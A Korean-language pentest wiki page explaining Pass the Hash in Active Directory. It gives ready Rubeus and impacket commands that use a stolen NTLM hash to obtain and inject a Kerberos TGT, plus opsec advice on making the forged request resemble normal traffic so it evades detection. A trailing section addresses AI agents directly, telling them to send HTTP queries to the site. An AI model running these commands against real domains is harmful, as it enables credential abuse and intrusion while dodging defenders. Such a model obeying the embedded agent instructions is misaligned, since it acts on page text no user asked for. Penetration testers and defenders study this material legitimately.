# Pass the Hash

## Pass the Hash

[Broken mention](broken://pages/opkhtqLCXYUMC9Tvpp5G) 인증의 독특한 방식 때문에 공격자는 평문 패스워드를 모르더라도 NTLM 해시만으로도 사용자 인증을 할 수 있습니다. Pass the Hash는 평문 패스워드를 건너뛰고 해시를 사용하는 방법입니다.

## Abuse

{% tabs %}
{% tab title="Windows" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># 사용자의 NTLM로 TGT 생성
</strong>.\Rubeus.exe asktgt /user:'&#x3C;username>' /rc4:'&#x3C;hash>' /nowrap /ptt /force /opsec /domain:'&#x3C;netbios>'

<strong># 티켓 삭제
</strong>.\Rubeus.exe purge
</code></pre>

{% endtab %}

{% tab title="UNIX" %}

<pre class="language-bash"><code class="lang-bash"><strong># 사용자의 NTLM로 TGT 생성
</strong>impacket-getTGT contoso.com/Mick3y -hashes :2b576acbe6bcfda7294d6bd18041b8fe

<strong># 환경변수 등록
</strong>export KRB5CCNAME=Mick3y.ccache

<strong># 환경변수 삭제
</strong>unset KRB5CCNAME
</code></pre>

{% endtab %}
{% endtabs %}

## Opsec

도메인을 명시하지 않고 Rubeus를 통해 티켓을 생성하면 도메인 이름을 사용하여 티켓을 요청합니다. 하지만 일반적인 경우에서 사용자가 인증하면 도메인의 NetBIOS 이름만 사용합니다. 또한 Ticket Options도 상이한 결과를 보입니다.

<div><figure><img src="/files/MojaCMcYQ9Uv5lLQ5m7l" alt=""><figcaption><p>일반적인 TGT 요청 이벤트</p></figcaption></figure> <figure><img src="/files/038qDLEbLtVjN4DIYnTa" alt=""><figcaption><p>Rubeus에서 생성한 TGT 요청 이벤트</p></figcaption></figure></div>

도메인 이름은 오류 방지를 위해 Rubeus에서 명시적으로 FQDN을 사용합니다. Ticket Options가 차이나는 이유는 kdc-options에서 16번째 플래그인 canonicalize 옵션의 값이 다르기 때문입니다.

<figure><img src="/files/xM6IpyE82r6nE27r0cVI" alt=""><figcaption><p><a href="https://datatracker.ietf.org/doc/rfc6806/">https://datatracker.ietf.org/doc/rfc6806/</a></p></figcaption></figure>

RFC6806에서 정의하듯 이 옵션은 클라이언트가 제시한 KDC 이름이 alias일 수도 있으니 정규화 해줄 것을 요청하는 옵션입니다.

Rubeus의 opsec 옵션은 이 값을 1로 설정하여 일반적인 AS-REQ를 모방합니다.

{% hint style="info" %}
impacket 프로젝트는 opsec 옵션을 제공하지 않으며, Ticket Options 5080000을 생성합니다.
{% endhint %}

## References

{% embed url="<https://datatracker.ietf.org/doc/rfc6806/>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/impersonation/pass-the-hash.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
